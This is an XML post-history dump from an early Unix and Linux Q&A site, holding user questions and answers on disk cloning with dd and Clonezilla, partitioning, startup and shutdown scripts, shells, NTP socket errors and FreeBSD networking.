<?xml version="1.0" encoding="utf-8"?>
<posthistory>
  <row Id="1" PostHistoryTypeId="2" PostId="1" RevisionGUID="bceda989-55a5-41ef-9fe5-7468a2b028e7" CreationDate="2010-08-10T18:54:58.893" UserId="4" Text="I am upgrading the internal SATA hard drive on my laptop from a 40G drive to a 160G drive. I have a Linux/Ubuntu desktop which has a SATA card. I would actually like to do the same thing for a couple CentOS &amp; FreeBSD boxes at work, and it seems this would have the same solution.&#xD;&#xA;&#xD;&#xA;I've heard that I can use [DD][1] to mirror the 40G partition to the 160G drive, or that I can copy the 40G partition to an images on my local system, and then copy the 40G image to the 160G drive.&#xD;&#xA;&#xD;&#xA;Can anyone describe how I may do this? Do I need any other utilities, such as [gpartd][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.about.com/od/commands/l/blcmdl1_dd.htm&#xD;&#xA;  [2]: http://gparted.sourceforge.net" />
  <row Id="2" PostHistoryTypeId="1" PostId="1" RevisionGUID="bceda989-55a5-41ef-9fe5-7468a2b028e7" CreationDate="2010-08-10T18:54:58.893" UserId="4" Text="How can I use DD to migrate data from an old drive to a new drive?" />
  <row Id="3" PostHistoryTypeId="3" PostId="1" RevisionGUID="bceda989-55a5-41ef-9fe5-7468a2b028e7" CreationDate="2010-08-10T18:54:58.893" UserId="4" Text="éunixàéstorageà" />
  <row Id="4" PostHistoryTypeId="2" PostId="2" RevisionGUID="7eb0487d-d4ad-4a29-841d-975b6e52716a" CreationDate="2010-08-10T19:35:22.440" UserId="28" Text="A long time ago I used to use FreeBSD with its ports system and after that Gentoo for portage in order to install applications via compiling from source in order to target directly to my system.&#xD;&#xA;&#xD;&#xA;Are there any other distros out there which support such a configuration? I seem to remember slackware having something similar." />
  <row Id="5" PostHistoryTypeId="1" PostId="2" RevisionGUID="7eb0487d-d4ad-4a29-841d-975b6e52716a" CreationDate="2010-08-10T19:35:22.440" UserId="28" Text="Distros that support compiling from source" />
  <row Id="6" PostHistoryTypeId="3" PostId="2" RevisionGUID="7eb0487d-d4ad-4a29-841d-975b6e52716a" CreationDate="2010-08-10T19:35:22.440" UserId="28" Text="édistrosà" />
  <row Id="7" PostHistoryTypeId="2" PostId="3" RevisionGUID="9d52cae3-0861-4d92-8909-26f249dcd77d" CreationDate="2010-08-10T19:36:31.237" UserId="34" Text="To simply copy the partition, you can use &quot;dd if=/dev/srcDrive of=/dev/dstDrive&quot; or something like this. I would recomend you to read it's [man page][1]. Sorry I can't give much more info, since I'm at work right now..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=dd&amp;sektion=1" />
  <row Id="8" PostHistoryTypeId="2" PostId="4" RevisionGUID="90df0707-8c6c-480c-8d17-f1298922c638" CreationDate="2010-08-10T19:37:16.617" UserId="22" Text="Normally I would suggest a solution such as &quot;hook up the 2nd hard drive using an external enclosure, boot from a linux CD, then use a command such as 'dd if=/dev/sda of=/dev/sdb bs=1G', but since you want to use the same technique for work, I have what may be a better solution. &#xD;&#xA;&#xD;&#xA;All of my servers and laptops get imaged at work using &lt;a href=&quot;http://clonezilla.org/&quot;&gt;Clonezilla&lt;/a&gt;. There are two ways of using it...one of which uses a dedicated server and is probably overkill for you, and another which utilizes a boot CD and external hard drive. &#xD;&#xA;&#xD;&#xA;The idea is that you boot in with the Clonezilla CD and have a largish (bigger than the source drive) external USB drive. Clonezilla walks you through making an image of the existing drive, after which you power down the machine, replace the drive, then boot back into Clonezilla, and it walks you through restoring the data. &#xD;&#xA;&#xD;&#xA;This gives you the opportunity to A) put the image on a bigger drive, and B) retain a backup of the data. " />
  <row Id="9" PostHistoryTypeId="2" PostId="5" RevisionGUID="6795fc1d-4832-4bbd-9bee-5df1b6c422c0" CreationDate="2010-08-10T19:37:25.837" UserId="26" Text="I've got a few commands that I run in rc.local so they are run last in the startup sequence. I would like to know if there is a similar facility for undoing the results of those commands at shutdown, like an rc.shutdown. Ideally, it would be run before any of the other /etc/init.d scripts." />
  <row Id="10" PostHistoryTypeId="1" PostId="5" RevisionGUID="6795fc1d-4832-4bbd-9bee-5df1b6c422c0" CreationDate="2010-08-10T19:37:25.837" UserId="26" Text="On Linux, is there an rc.local equivalent for shutdown?" />
  <row Id="11" PostHistoryTypeId="3" PostId="5" RevisionGUID="6795fc1d-4832-4bbd-9bee-5df1b6c422c0" CreationDate="2010-08-10T19:37:25.837" UserId="26" Text="élinuxàéstartupàéshutdownà" />
  <row Id="12" PostHistoryTypeId="2" PostId="6" RevisionGUID="e2fdc66c-16ae-4132-80a2-ed203573f3cb" CreationDate="2010-08-10T19:37:36.270" UserId="17" Text="Share your command prompt features and tricks for Unix/Linux. Try to keep it shell/distro agnostic if possible. Interested in seeing aliases, one-liners, keyboard shortcuts, small shell scripts, etc." />
  <row Id="13" PostHistoryTypeId="1" PostId="6" RevisionGUID="e2fdc66c-16ae-4132-80a2-ed203573f3cb" CreationDate="2010-08-10T19:37:36.270" UserId="17" Text="What are your favorite command prompt features or tricks?" />
  <row Id="14" PostHistoryTypeId="3" PostId="6" RevisionGUID="e2fdc66c-16ae-4132-80a2-ed203573f3cb" CreationDate="2010-08-10T19:37:36.270" UserId="17" Text="écommandölineàésubjectiveàépollsà" />
  <row Id="15" PostHistoryTypeId="16" PostId="6" RevisionGUID="e2fdc66c-16ae-4132-80a2-ed203573f3cb" CreationDate="2010-08-10T19:37:36.270" UserId="17" />
  <row Id="16" PostHistoryTypeId="2" PostId="7" RevisionGUID="f47c6f83-5115-4c59-947a-b2acbc81a83e" CreationDate="2010-08-10T19:39:30.433" UserId="48" Text="I usually install Linux on a single partition since I only use it as a personal desktop.&#xD;&#xA;&#xD;&#xA;However every now and then I reinstall the box and what I simply do is to move my files around with an external hard disk.&#xD;&#xA;&#xD;&#xA;So, how could I prevent that when reinstalling my box (e.g. switching to another distro)?" />
  <row Id="17" PostHistoryTypeId="1" PostId="7" RevisionGUID="f47c6f83-5115-4c59-947a-b2acbc81a83e" CreationDate="2010-08-10T19:39:30.433" UserId="48" Text="What's the best way to partition your drive?" />
  <row Id="18" PostHistoryTypeId="3" PostId="7" RevisionGUID="f47c6f83-5115-4c59-947a-b2acbc81a83e" CreationDate="2010-08-10T19:39:30.433" UserId="48" Text="élinuxà" />
  <row Id="19" PostHistoryTypeId="2" PostId="8" RevisionGUID="871bf8b9-870d-4695-a8dd-8a60843531b1" CreationDate="2010-08-10T19:39:46.827" UserId="22" Text="Not really (at least, to my knowledge). &#xD;&#xA;&#xD;&#xA;If you've got SystemV style init scripts, you could create something along the lines of /etc/rc6.K00scriptname and /etc/rc0.d/K00scriptname, which should get executed prior to any of the other scripts in there. " />
  <row Id="20" PostHistoryTypeId="2" PostId="9" RevisionGUID="f7190eda-6ce3-4a03-95a0-e0f290d482f5" CreationDate="2010-08-10T19:40:17.153" UserId="56" Text="I'm not aware of a complete &quot;build the system from source&quot; tool for Debian, but it does support this in a round-about way via [`apt-src`][1], which will download and build a package, then install the resulting build. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/apt-src" />
  <row Id="21" PostHistoryTypeId="2" PostId="10" RevisionGUID="9d2f02e0-9dcf-47da-b5e4-a7b33ec0d0f9" CreationDate="2010-08-10T19:40:27.857" UserId="59" Text="I am using Mac OSX. When I type `ls -l` I see something like &#xD;&#xA;&#xD;&#xA;    drwxr-xr-x@ 12 xonic  staff    408 22 Jun 19:00 .&#xD;&#xA;    drwxr-xr-x   9 xonic  staff    306 22 Jun 19:42 ..&#xD;&#xA;    -rwxrwxrwx@  1 xonic  staff   6148 25 Mai 23:04 .DS_Store&#xD;&#xA;    -rw-r--r--@  1 xonic  staff  17284 22 Jun 00:20 filmStrip.cpp&#xD;&#xA;    -rw-r--r--@  1 xonic  staff   3843 21 Jun 21:20 filmStrip.h&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What do the @'s mean?" />
  <row Id="22" PostHistoryTypeId="1" PostId="10" RevisionGUID="9d2f02e0-9dcf-47da-b5e4-a7b33ec0d0f9" CreationDate="2010-08-10T19:40:27.857" UserId="59" Text="what does the @ mean in ls -l?" />
  <row Id="23" PostHistoryTypeId="3" PostId="10" RevisionGUID="9d2f02e0-9dcf-47da-b5e4-a7b33ec0d0f9" CreationDate="2010-08-10T19:40:27.857" UserId="59" Text="éosxàélsà" />
  <row Id="24" PostHistoryTypeId="2" PostId="11" RevisionGUID="6bd4eb60-e74a-41c1-89b3-da8db344d8bf" CreationDate="2010-08-10T19:40:44.453" UserId="5" Text="I have made the experience, that Linux works fine until the physical memory is exhausted. As soon as swap space is used the performance is severely degraded and the GUI becomes unresponsive.&#xD;&#xA;&#xD;&#xA;I am able to reconstruct this phenomena with different distros and different desktops, hence I do not believe it is a distro or desktop dependent issue. &#xD;&#xA;&#xD;&#xA;What can I do about this?" />
  <row Id="25" PostHistoryTypeId="1" PostId="11" RevisionGUID="6bd4eb60-e74a-41c1-89b3-da8db344d8bf" CreationDate="2010-08-10T19:40:44.453" UserId="5" Text="How can I tweak my linux desktop that it is more responsive?" />
  <row Id="26" PostHistoryTypeId="3" PostId="11" RevisionGUID="6bd4eb60-e74a-41c1-89b3-da8db344d8bf" CreationDate="2010-08-10T19:40:44.453" UserId="5" Text="élinuxàéswappingàéperformanceà" />
  <row Id="27" PostHistoryTypeId="2" PostId="12" RevisionGUID="846d584b-1545-4588-b780-2b610fb2ee2f" CreationDate="2010-08-10T19:40:50.023" UserId="26" Text="Many RPM-based distros have source RPM packages. Debian and Ubuntu have source debs as well. Are you looking for other distros that are primarily, built-from-source or just distros that have source packages available. If it's the latter, the answer is &quot;many/most&quot; of them.&#xD;&#xA;" />
  <row Id="28" PostHistoryTypeId="2" PostId="13" RevisionGUID="48543ed8-72f2-4c05-8592-41b717ab9f7a" CreationDate="2010-08-10T19:41:56.107" UserId="13" Text="How do I stop a program running at startup in Linux. I want to remove some apps from startup to allow them to be managed by supervisord e.g apache2" />
  <row Id="29" PostHistoryTypeId="1" PostId="13" RevisionGUID="48543ed8-72f2-4c05-8592-41b717ab9f7a" CreationDate="2010-08-10T19:41:56.107" UserId="13" Text="Stop program running at startup in Linux" />
  <row Id="30" PostHistoryTypeId="3" PostId="13" RevisionGUID="48543ed8-72f2-4c05-8592-41b717ab9f7a" CreationDate="2010-08-10T19:41:56.107" UserId="13" Text="élinuxàéstartupà" />
  <row Id="31" PostHistoryTypeId="2" PostId="14" RevisionGUID="8eb1956c-8b05-45ac-8d5e-37ed28d40255" CreationDate="2010-08-10T19:42:09.787" UserId="60" Text="Apart from what you can (arguably?) call the more popular shells (bash, csh, Korn, zsh) what other ones do you know and use and what unique features do they have?&#xD;&#xA;&#xD;&#xA;ps - One answer per shell would be ideal to gather a meaningful survey&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="32" PostHistoryTypeId="1" PostId="14" RevisionGUID="8eb1956c-8b05-45ac-8d5e-37ed28d40255" CreationDate="2010-08-10T19:42:09.787" UserId="60" Text="What less popular shells do you use and what are their advantages?" />
  <row Id="33" PostHistoryTypeId="3" PostId="14" RevisionGUID="8eb1956c-8b05-45ac-8d5e-37ed28d40255" CreationDate="2010-08-10T19:42:09.787" UserId="60" Text="éshellà" />
  <row Id="34" PostHistoryTypeId="2" PostId="15" RevisionGUID="439617b9-b865-4ed1-99e0-0170ea8515bc" CreationDate="2010-08-10T19:42:39.643" UserId="62" Text="Depends on the usage, and the OS really.&#xD;&#xA;&#xD;&#xA;On my main desktop I have the space split between / and another partition I keep my documents/music etc. Since /home will have user configuration and stuff in there I wouldn't keep it intact between installs, just symlink my document/music folders into my homedir." />
  <row Id="35" PostHistoryTypeId="2" PostId="16" RevisionGUID="d7f66a71-0d09-455a-baa3-e493345fdff3" CreationDate="2010-08-10T19:42:53.793" UserId="38" Text="One simple example is this:&#xD;&#xA;&#xD;&#xA;    dd if=/dev/sda of=/dev/sdb&#xD;&#xA;&#xD;&#xA;But if you have some special needs, you really should read the manpage (man dd) or search on Google.&#xD;&#xA;&#xD;&#xA;Another idea could be the use of [rsync][1] (don't forget to set the right options, like -az [packages the files instead of copy one file after another] or --numeric-ids [uses the uid/gid instead of names like &quot;root&quot;] and maybe some others). The link contains many examples.&#xD;&#xA;&#xD;&#xA;If the new HDD doesn't have partitions, you can use gparted or palimpset.&#xD;&#xA;&#xD;&#xA;When you're unsure I would format the HDD and then sync the data with rsync.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://samba.anu.edu.au/rsync/examples.html" />
  <row Id="36" PostHistoryTypeId="2" PostId="17" RevisionGUID="ac1d46b8-0fde-434e-8239-2ef43c832400" CreationDate="2010-08-10T19:43:02.017" UserId="4" Text="I'm trying to use NTP to update the time on my machine. However, it gives me an error:&#xD;&#xA;&#xD;&#xA;    host # ntpdate ntp1.example.org&#xD;&#xA;    10 Aug 12:38:50 ntpdate[7696]: the NTP socket is in use, exiting&#xD;&#xA;&#xD;&#xA;What does the error &quot;socket is in use&quot; mean? How can I see what is using this socket?&#xD;&#xA;&#xD;&#xA;This happens on my CentOS 4.x system, but I also see it on FreeBSD 7.x, Ubuntu 10.04 and Solaris 10." />
  <row Id="37" PostHistoryTypeId="1" PostId="17" RevisionGUID="ac1d46b8-0fde-434e-8239-2ef43c832400" CreationDate="2010-08-10T19:43:02.017" UserId="4" Text="What is using this network socket?" />
  <row Id="38" PostHistoryTypeId="3" PostId="17" RevisionGUID="ac1d46b8-0fde-434e-8239-2ef43c832400" CreationDate="2010-08-10T19:43:02.017" UserId="4" Text="élinuxàéunixàéfreebsdàénetworkingà" />
  <row Id="43" PostHistoryTypeId="2" PostId="19" RevisionGUID="e847a4a6-c182-46a4-b57c-120ab933da70" CreationDate="2010-08-10T19:43:32.123" UserId="73" Text="It indicates the file has [extended attributes](http://en.wikipedia.org/wiki/Extended_file_attributes). You can use the `xattr` command-line utility to view and modify them:&#xD;&#xA;&#xD;&#xA;    xattr --list filename&#xD;&#xA;    xattr --set propname propvalue filename&#xD;&#xA;    xattr --delete propname filename&#xD;&#xA;" />
  <row Id="44" PostHistoryTypeId="12" PostId="19" RevisionGUID="3e7a604f-f29c-4a03-bff6-f5ccb61279e6" CreationDate="2010-08-10T19:43:54.667" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="45" PostHistoryTypeId="2" PostId="20" RevisionGUID="7b451bb2-0993-4415-91d9-d05a47de1f08" CreationDate="2010-08-10T19:44:31.123" UserId="5" Text="If you have upstart, you can catch the shutdown event and run a script when it is caught." />
  <row Id="46" PostHistoryTypeId="2" PostId="21" RevisionGUID="bb0e9c99-39cd-4e9d-9dcb-171683954552" CreationDate="2010-08-10T19:44:41.963" UserId="26" Text="On Linux, this means the file is a symbolic link. On OSX, this indicates the presence of metadata associated with the file. " />
  <row Id="47" PostHistoryTypeId="2" PostId="22" RevisionGUID="77e15443-665c-4e93-b33e-e2867a0ca344" CreationDate="2010-08-10T19:44:48.890" UserId="78" Text="I'm currently using Zsh, but I believe it's the new trend in shells. I haven't gotten down and dirty with it so far, but as far as i can tell it has nifty autocompletion support, right-side prompt, multiline command editing and some other nifty stuff." />
  <row Id="48" PostHistoryTypeId="13" PostId="19" RevisionGUID="031d454e-c7ef-4480-90ae-72df25e24b0e" CreationDate="2010-08-10T19:44:53.197" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="49" PostHistoryTypeId="2" PostId="23" RevisionGUID="7025e418-b631-4292-be18-6b78d9aa6ed7" CreationDate="2010-08-10T19:45:29.637" UserId="27" Text="Your first task would be to connect both disks to an existing Linux system or connect the new disk to the original system.&#xD;&#xA;&#xD;&#xA;You must be *very* careful since it is very simple to copy the blank disk on top of the good disk!&#xD;&#xA;&#xD;&#xA;To end up with the boot sectors and all, you would do something like:&#xD;&#xA;&#xD;&#xA;dd if=/dev/hdx of=/dev/hdy&#xD;&#xA;&#xD;&#xA;Where hdx is your 40G disk and hdy is your 160G disk.  You will notice there are no partition numbers like /dev/hdx1.  This copies the entire disk, partition info and all.&#xD;&#xA;&#xD;&#xA;Your new disk will just like the old disk, 40G allocated.  It should boot right up when placed back in your laptop.  Hope you used LVM?  Otherwise hope you did not use all the partitions?  Getting past this point requires a lot more info.&#xD;&#xA;&#xD;&#xA;Another solution is to dump each individual partition.  This requires a lot more situation awareness since you will need to recreate the boot information.&#xD;&#xA;&#xD;&#xA;All of this is best used for cloning computers, not upgrading hard disks.  It is much better to restore to a new installation using your backups." />
  <row Id="52" PostHistoryTypeId="2" PostId="25" RevisionGUID="d8aa46f2-41cd-4f35-8168-57d6f0f2c55f" CreationDate="2010-08-10T19:46:22.897" UserId="5" Text="You can use lsof to find which application is using this socket." />
  <row Id="53" PostHistoryTypeId="2" PostId="26" RevisionGUID="ae772461-522c-428a-b850-fd47744f6b11" CreationDate="2010-08-10T19:46:24.457" UserId="69" Text="There are a few distros which support both binary and compiled packages--in theory, Gentoo supports this, but I don't think there are too many binary packages. Arch also supports building from source in addition to binary packages via the [Arch Build System][0] (ABS), though I don't have any experience with it.&#xD;&#xA;&#xD;&#xA;[0]: http://wiki.archlinux.org/index.php/Arch_Build_System" />
  <row Id="54" PostHistoryTypeId="2" PostId="27" RevisionGUID="db4c37f6-9ee9-4bc7-ae31-a51c00a6295f" CreationDate="2010-08-10T19:46:25.877" UserId="45" Text="Depending on your distro use the chkconfig or update-rc.d tool to enable/disable system services.&#xD;&#xA;&#xD;&#xA;On a redhat/suse/mandrake style system:&#xD;&#xA;&#xD;&#xA;    sudo chkconfig apache2 off &#xD;&#xA;&#xD;&#xA;On Debian:&#xD;&#xA;&#xD;&#xA;    sudo update-rc.d -f apache2 remove&#xD;&#xA;&#xD;&#xA;Checkout their man pages for more info." />
  <row Id="55" PostHistoryTypeId="2" PostId="28" RevisionGUID="22549280-3ce5-44a4-bd39-cc9f0f6db7c8" CreationDate="2010-08-10T19:46:35.983" UserId="66" Text="I think it means that the file/directory has extended attributes [1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1] http://en.wikipedia.org/wiki/Extended_file_attributes" />
  <row Id="56" PostHistoryTypeId="2" PostId="29" RevisionGUID="dac941e6-3967-4ff4-9b80-c593feca2384" CreationDate="2010-08-10T19:46:39.587" UserId="22" Text="You can do &#xD;&#xA;&#xD;&#xA;    lsof -n | grep -i LISTEN | grep -i TCP &#xD;&#xA;&#xD;&#xA;to see all of your listening ports, but dollars to donuts that ntpd is running: &#xD;&#xA;&#xD;&#xA;    service ntpd status&#xD;&#xA;" />
  <row Id="57" PostHistoryTypeId="2" PostId="30" RevisionGUID="3334085f-797c-4ea6-906d-a77a09ab18ef" CreationDate="2010-08-10T19:47:35.157" UserId="62" Text="I need to compile some software on my Fedora machine. Where's the best place to put it so not to interfere with the packaged software?" />
  <row Id="58" PostHistoryTypeId="1" PostId="30" RevisionGUID="3334085f-797c-4ea6-906d-a77a09ab18ef" CreationDate="2010-08-10T19:47:35.157" UserId="62" Text="Where should I put software I compile myself?" />
  <row Id="59" PostHistoryTypeId="3" PostId="30" RevisionGUID="3334085f-797c-4ea6-906d-a77a09ab18ef" CreationDate="2010-08-10T19:47:35.157" UserId="62" Text="éfilesystemsàécompilingàéfhsà" />
  <row Id="60" PostHistoryTypeId="2" PostId="31" RevisionGUID="b3133aa6-3124-4a2c-8135-ecda373b5b35" CreationDate="2010-08-10T19:47:51.490" UserId="80" Text="Rather than ask for your favorite, lets just list them off.&#xD;&#xA;&#xD;&#xA;What are the more useful commands inside `less`?&#xD;&#xA;&#xD;&#xA;Personally, I use:&#xD;&#xA;&#xD;&#xA; - `/` (search forward)&#xD;&#xA; - `?` (search backwards) &#xD;&#xA; - `F` (enable    tail -f like behvaior,&#xD;&#xA;   Ctrl-C to    break out of it) &#xD;&#xA; - `v`    (open file in    vi/vim for&#xD;&#xA;   editing)&#xD;&#xA;&#xD;&#xA;Others?" />
  <row Id="61" PostHistoryTypeId="1" PostId="31" RevisionGUID="b3133aa6-3124-4a2c-8135-ecda373b5b35" CreationDate="2010-08-10T19:47:51.490" UserId="80" Text="List of useful `less` functions" />
  <row Id="62" PostHistoryTypeId="3" PostId="31" RevisionGUID="b3133aa6-3124-4a2c-8135-ecda373b5b35" CreationDate="2010-08-10T19:47:51.490" UserId="80" Text="écommandölineàélessàéutilitiesà" />
  <row Id="63" PostHistoryTypeId="2" PostId="32" RevisionGUID="aa7ace27-cb3f-41f3-9d74-67e0425d8ff9" CreationDate="2010-08-10T19:48:24.483" UserId="78" Text="    alias s='sudo'&#xD;&#xA;    alias r='rake' # i'm a ruby developer&#xD;&#xA;    alias ..='cd ..' # although with autocd feature for zsh this comes packed.&#xD;&#xA;&#xD;&#xA;One of my favorites when i forget `s`:&#xD;&#xA;    &#xD;&#xA;    $ !! # last command with super user priviledges&#xD;&#xA;&#xD;&#xA;" />
  <row Id="64" PostHistoryTypeId="16" PostId="32" RevisionGUID="aa7ace27-cb3f-41f3-9d74-67e0425d8ff9" CreationDate="2010-08-10T19:48:24.483" UserId="-1" />
  <row Id="65" PostHistoryTypeId="2" PostId="33" RevisionGUID="00d1eac6-dae5-49de-ac00-e925f8b81f6a" CreationDate="2010-08-10T19:48:42.453" UserId="84" Text="Keep your /home on a separate partition. This way, it will not be overwritten when you switch to another distro or upgrade your current one. It's also a good idea to have your swap file on its own partition. But that should be done automatically by your distro's installer.&#xD;&#xA;&#xD;&#xA;The way my laptop is setup, I have the following partitions:&#xD;&#xA;&#xD;&#xA;/&#xD;&#xA;/home&#xD;&#xA;/boot&#xD;&#xA;/swp" />
  <row Id="66" PostHistoryTypeId="2" PostId="34" RevisionGUID="67964639-de79-4d0f-9ae7-9d30557c720d" CreationDate="2010-08-10T19:48:48.337" UserId="68" Text="You may want to have a look at [this post][1] in the Apple mailing lists. It explains that the @ shows that the Finder has extended attributes other than ACL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.apple.com/archives/macos-x-server/2008/Jan/msg00138.html" />
  <row Id="67" PostHistoryTypeId="2" PostId="35" RevisionGUID="c6ea5a8e-e5d8-4984-a581-e91bec50ec48" CreationDate="2010-08-10T19:50:03.013" UserId="76" Text="Some come to mind, that I have personally used: [LFS][1] (obviously), [SourceMage][2], and someone made one from LNX-BBC makefiles, I can't find it now. But I consider Debian being good enough to compile packages myself, if I need to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You should also check the list is given by [DistroWatch source-based distros][3]: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org&#xD;&#xA;  [2]: http://www.sourcemage.org/&#xD;&#xA;  [3]: http://distrowatch.com/search.php?category=Source-based&amp;origin=All&amp;basedon=All&amp;notbasedon=None&amp;desktop=All&amp;architecture=All&amp;status=Active" />
  <row Id="68" PostHistoryTypeId="2" PostId="36" RevisionGUID="a579b843-5052-4ba7-862a-686b53e7bd84" CreationDate="2010-08-10T19:50:09.750" UserId="10" Text="You asked how to do it with dd, but I had better success piping the output of *dump* into *restore*. Given the source *ad1s1a* and the target *ad2s1a*:&#xD;&#xA;&#xD;&#xA;    $ mount /dev/ad2s1a /target&#xD;&#xA;    $ cd /target&#xD;&#xA;    $ dump -0Lauf - /dev/ad1s1a  | restore -rf -&#xD;&#xA;&#xD;&#xA;I tried this on FreeBSD, actually I found it on the [FreeBSD Forum][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.freebsd.org/showthread.php?t=185" />
  <row Id="69" PostHistoryTypeId="2" PostId="37" RevisionGUID="f698bc6f-6a49-42b0-a1e1-2f97b377bba3" CreationDate="2010-08-10T19:50:12.480" UserId="78" Text="If there is possibility - I'd suggest compiling your software and then creating FC package (I believe it's using yum to install software packages). Then you can install that package of your own compiled software and remove it without messing up the whole system." />
  <row Id="70" PostHistoryTypeId="2" PostId="38" RevisionGUID="7c2029b2-07ce-4900-9bda-79571f66dc22" CreationDate="2010-08-10T19:50:14.633" UserId="88" Text="Most of the time, I like to place my own compiled stuff in `/opt`.  It's sort of a pseudo-standard place.  You can also consider `/usr/local`, but I prefer to keep my stuff 100% isolated." />
  <row Id="71" PostHistoryTypeId="2" PostId="39" RevisionGUID="83efca22-ff02-479a-893e-20be98cd699a" CreationDate="2010-08-10T19:50:26.770" UserId="32" Text="What I am looking for is a free and open source solution. If the distro I use matters, it is Open SUSE. VLC supports only WMV1&amp;2. " />
  <row Id="72" PostHistoryTypeId="1" PostId="39" RevisionGUID="83efca22-ff02-479a-893e-20be98cd699a" CreationDate="2010-08-10T19:50:26.770" UserId="32" Text="How can I setup Apache on Linux to stream WMV-HD to Xbox 360?" />
  <row Id="73" PostHistoryTypeId="3" PostId="39" RevisionGUID="83efca22-ff02-479a-893e-20be98cd699a" CreationDate="2010-08-10T19:50:26.770" UserId="32" Text="élinuxàéapacheàéstreamingà" />
  <row Id="74" PostHistoryTypeId="2" PostId="40" RevisionGUID="cfc75cc1-8adf-4e88-a7dc-278f782b4f72" CreationDate="2010-08-10T19:50:34.087" UserId="58" Text="Hello, I'm running gentoo on my laptop, and I'm currently using wpa_supplicant to handle wifi.&#xD;&#xA;&#xD;&#xA;My configuration works and I can connect, but it is required to type in the plain text password into the configuration file. This doesn't work if I want to connect to a friend's wifi and they want to type in the password instead of telling me what it is. There's no security with plain text passwords.&#xD;&#xA;&#xD;&#xA;How can I make this more secure so that some sort of encrypted password is stored instead of plaintext?" />
  <row Id="75" PostHistoryTypeId="1" PostId="40" RevisionGUID="cfc75cc1-8adf-4e88-a7dc-278f782b4f72" CreationDate="2010-08-10T19:50:34.087" UserId="58" Text="Use wpa_supplicant without plain text passwords" />
  <row Id="76" PostHistoryTypeId="3" PostId="40" RevisionGUID="cfc75cc1-8adf-4e88-a7dc-278f782b4f72" CreationDate="2010-08-10T19:50:34.087" UserId="58" Text="éwifiàéwpaösupplicantàésecurityà" />
  <row Id="77" PostHistoryTypeId="2" PostId="41" RevisionGUID="cc13c8db-226d-4b74-95a5-a4013aae3b26" CreationDate="2010-08-10T19:50:42.667" UserId="57" Text="if you are compiling an application you can add its executables path in you PATH env variable.&#xD;&#xA;this will not impact other users." />
  <row Id="78" PostHistoryTypeId="2" PostId="42" RevisionGUID="4fa32130-6e98-4c49-b267-dd5298cabf40" CreationDate="2010-08-10T19:50:44.477" UserId="9" Text="There are a number of guides that can help with this, and as theotherreceive pointed out, it can be OS specific.  What Solaris suggests may not be what Ubuntu suggests.  For instance, Solaris (and maybe HP-UX) use /export/home as the mount point for home dirs, Linux uses /home.&#xD;&#xA;&#xD;&#xA;There's no real magic to it, in fact what I'd say is you've hit the nail on the head.  One partition doesn't cut it for your needs.  So make a change.  Use the guides as an example (you can even learn why /etc is /etc and other neat trivia with the [right document][1]).  Here's an example (pulled at random from a Google search):&#xD;&#xA;&#xD;&#xA;[http://content.hccfl.edu/pollock/aunix1/partitioning.htm][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html&#xD;&#xA;  [2]: http://content.hccfl.edu/pollock/aunix1/partitioning.htm" />
  <row Id="79" PostHistoryTypeId="2" PostId="43" RevisionGUID="6dc7edec-fa27-4667-a5b2-3ee479ce648c" CreationDate="2010-08-10T19:50:53.057" UserId="4" Text="I'm trying to ping a remote host, but I get an error.&#xD;&#xA;&#xD;&#xA;    # ping 192.168.80.1&#xD;&#xA;    PING 192.168.80.1 (192.168.80.1): 56 data bytes&#xD;&#xA;    ping: sendto: No buffer space available&#xD;&#xA;    ping: sendto: No buffer space available&#xD;&#xA;    ^C&#xD;&#xA;    --- 192.168.80.1 ping statistics ---&#xD;&#xA;    2 packets transmitted, 0 packets received, 100% packet loss&#xD;&#xA;&#xD;&#xA;It works for other hosts:&#xD;&#xA;&#xD;&#xA;    # ping 192.168.16.1&#xD;&#xA;    PING 192.168.16.1 (192.168.16.1): 56 data bytes&#xD;&#xA;    64 bytes from 192.168.16.1: icmp_seq=0 ttl=254 time=0.442 ms&#xD;&#xA;    64 bytes from 192.168.16.1: icmp_seq=1 ttl=254 time=0.402 ms&#xD;&#xA;    ^C&#xD;&#xA;    --- 192.168.16.1 ping statistics ---&#xD;&#xA;    2 packets transmitted, 2 packets received, 0% packet loss&#xD;&#xA;    round-trip min/avg/max/stddev = 0.402/0.422/0.442/0.020 ms&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;The message &quot;No buffer space available&quot; seems to indicate some sort of memory error. And indeed, when I check with Netstat, the &quot;mbuf clusters&quot; number looks VERY wrong:&#xD;&#xA;&#xD;&#xA;    # netstat -m&#xD;&#xA;    11780 mbufs in use&#xD;&#xA;    4294966716/32768 mbuf clusters in use (current/max)&#xD;&#xA;    0/3/6656 sfbufs in use (current/peak/max)&#xD;&#xA;    1785 KBytes allocated to network&#xD;&#xA;    0 requests for sfbufs denied&#xD;&#xA;    0 requests for sfbufs delayed&#xD;&#xA;    0 requests for I/O initiated by sendfile&#xD;&#xA;    0 calls to protocol drain routines&#xD;&#xA;&#xD;&#xA;What is going on here? Is there  away to fix this without downtime, or do I need to reboot the host or restart the network interface?" />
  <row Id="80" PostHistoryTypeId="1" PostId="43" RevisionGUID="6dc7edec-fa27-4667-a5b2-3ee479ce648c" CreationDate="2010-08-10T19:50:53.057" UserId="4" Text="FreeBSD: How to fix &quot;ping: sendto: No buffer space available&quot;?" />
